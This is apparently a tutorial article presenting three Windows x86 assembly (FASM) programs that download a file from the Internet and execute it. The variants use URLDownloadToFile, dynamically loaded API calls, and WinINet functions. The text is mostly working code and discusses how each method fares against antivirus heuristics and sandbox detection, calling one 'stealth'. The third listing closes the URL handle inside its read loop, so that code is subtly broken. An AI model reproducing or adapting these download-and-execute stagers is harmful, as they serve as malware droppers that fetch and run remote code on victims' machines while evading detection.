Download and Execute Assembly x86

Introduction

Download and execute programs are dedicated to the task of downloading one or multiple files from the Internet and one downloaded executing them.

These programs are often designed to be as small as possible. Assembly languages are the best choice to develop tiny and lightweight programs.

In this article we will look at several methods to develop a download and execute program with Fasm.

URLDownloadToFile

The `URLDownloadToFile` function downloads bits from the Internet and saves them to a file. It is the most relevant function for what we want to do.

The `ShellExecute` function launches an application. If the file is not an executable, its associated application is launched.

Unfortunately, most of the time heuristic-based Anti-virus considers the combination of these two function as malicious.

```
format PE GUI 4.0
entry main

include 'include/win32a.inc'

section '.text' code readable executable
main:
    invoke URLDownloadToFile, 0, szURL, szFileName, 0, 0
    invoke ShellExecute, 0, 0, szFileName, 0, 0, SW_SHOW
    invoke ExitProcess, 0

section '.idata' import data readable
library kernel32, 'kernel32.dll',\
        urlmon, 'urlmon.dll',\
        shell32, 'shell32.dll'
```

```
import  kernel32,\
    ExitProcess, 'ExitProcess'
import  urlmon,\
    URLDownloadToFile, 'URLDownloadToFileA'
import  shell32,\
    ShellExecute, 'ShellExecuteA'

section '.rdata' data readable
szFileName db 'index.htm', 0
szURL      db 'http://wiremask.eu/', 0
```

URLDownloadToFile with dynamic module loading

This download and execute program does exactly the same as the previous one but this time it dynamically imports the *urlmon* and the *shell32* dynamic-link libraries and functions.

Unfortunately, most of the time if the program is small, heuristic-based Anti-virus considers the combination of `LoadLibrary` and `GetProcAddress` suspicious.
Sandbox detection might also consider the dynamic loading of `URLDownloadToFile` and `ShellExecute` suspicious.

```
format PE GUI 4.0
entry main

include 'include/win32a.inc'

section '.code' code readable executable
main:
    ; Load urlmon.dll
    invoke LoadLibrary, _urlmon
    test eax, eax
    jz exit

    ; Retrieve the address of the URLDownloadToFileA function
    invoke GetProcAddress, eax, _URLDownloadToFile
    test eax, eax
    jz exit

    ; Call URLDownloadToFileA
    push eax
    push 0
    push 0
    push szFileName
    push szURL
```

```
    push 0
    call eax

    ; Free urlmon.dll
    pop eax
    invoke FreeLibrary, eax

    ; Load shell32.dll
    invoke LoadLibrary, _shell32
    test eax, eax
    jz exit

    ; Retrieve the address of the ShellExecuteA function
    invoke GetProcAddress, eax, _ShellExecute
    test eax, eax
    jz exit

    ; Call ShellExecute
    push eax
    push SW_SHOW
    push 0
    push 0
    push szFileName
    push 0
    push 0
    call eax

    ; Free shell32.dll
    pop eax
    invoke FreeLibrary, eax

exit:
    invoke ExitProcess, 0

section '.idata' import data readable
library kernel32, 'kernel32.dll'

import kernel32,\
    ExitProcess, 'ExitProcess',\
    LoadLibrary,'LoadLibraryA',\
    GetProcAddress, 'GetProcAddress',\
    FreeLibrary, 'FreeLibrary'

section '.rdata' data readable
_urlmon             db 'urlmon.dll', 0
```

```
_shell32            db 'shell32.dll', 0
_URLDownloadToFile  db 'URLDownloadToFileA', 0
_ShellExecute       db 'ShellExecuteA', 0;

szFileName db 'index.htm', 0
szURL      db 'http://wiremask.eu/', 0
```

InternetOpenUrl

Instead of using `UrlDownloadToFile` function from `urlmon.dll` it is possible to use functions from `wininet.dll` and `kernel32.dll` to download bits from the Internet and saves them to a file.
This exotic two stage execution method is stealth but it is also detected by most Anti-virus software.

```
format PE GUI 4.0
entry main

include 'include/win32a.inc'

section '.code' code readable executable
main:
    ; Initialize internal data structures
    invoke InternetOpen, szURL, 0, 0, 0, 0
    mov dword [hInternet], eax
    test eax, eax
    jz exit

    ; Open a resource specified by szURL
    invoke InternetOpenUrl, dword [hInternet], szURL, 0, 0, 0, 0
    mov dword [hUrl], eax
    test eax, eax
    jz exit

    ; Create a file stream
    invoke CreateFile, szFileName, GENERIC_WRITE,FILE_SHARE_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0
    mov dword [hFile], eax
    test eax, eax
    jz exit

readnextbytes:
    ; Read data from hUrl opened by the InternetOpenUrl
    invoke InternetReadFile, dword [hUrl], lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead
    invoke CloseHandle, dword [hUrl]
```

```
    ; Write data to szFileName
    invoke WriteFile, dword [hFile], lpBuffer, dword [lpdwNumberOfBytesRead], lpNumberOfBytesWritten, 0

    cmp dword [lpdwNumberOfBytesRead], 0
    jnz readnextbytes

downloadcomplete:
    invoke CloseHandle, dword [hFile]
    invoke InternetCloseHandle, dword [hUrl]
    invoke InternetCloseHandle, dword [hInternet]
    invoke ShellExecute, 0, 0, szFileName, 0, 0, SW_SHOW

exit:
    invoke ExitProcess, 0

section '.idata' import data readable
library kernel, 'kernel32.dll',\
        wininet, 'wininet.dll',\
        shell32, 'shell32.dll'

import kernel,\
    WriteFile, 'WriteFile',\
    CreateFile, 'CreateFileA',\
    CloseHandle, 'CloseHandle',\
    ExitProcess, 'ExitProcess'

import wininet,\
    InternetOpen, 'InternetOpenA',\
    InternetOpenUrl, 'InternetOpenUrlA',\
    InternetReadFile, 'InternetReadFile',\
    InternetCloseHandle, 'InternetCloseHandle'

import shell32,\
    ShellExecute, 'ShellExecuteA'

section '.data' data readable writeable
    szFileName db 'index.htm', 0
    szURL      db 'http://wiremask.eu/', 0

    hInternet              dd ?
    hUrl                   dd ?
    hFile                  dd ?
    lpdwNumberOfBytesRead  dd ?
    lpBuffer               rb 400h
    dwNumberOfBytesToRead = $ - lpBuffer
```

```
    lpNumberOfBytesWritten dd ?
```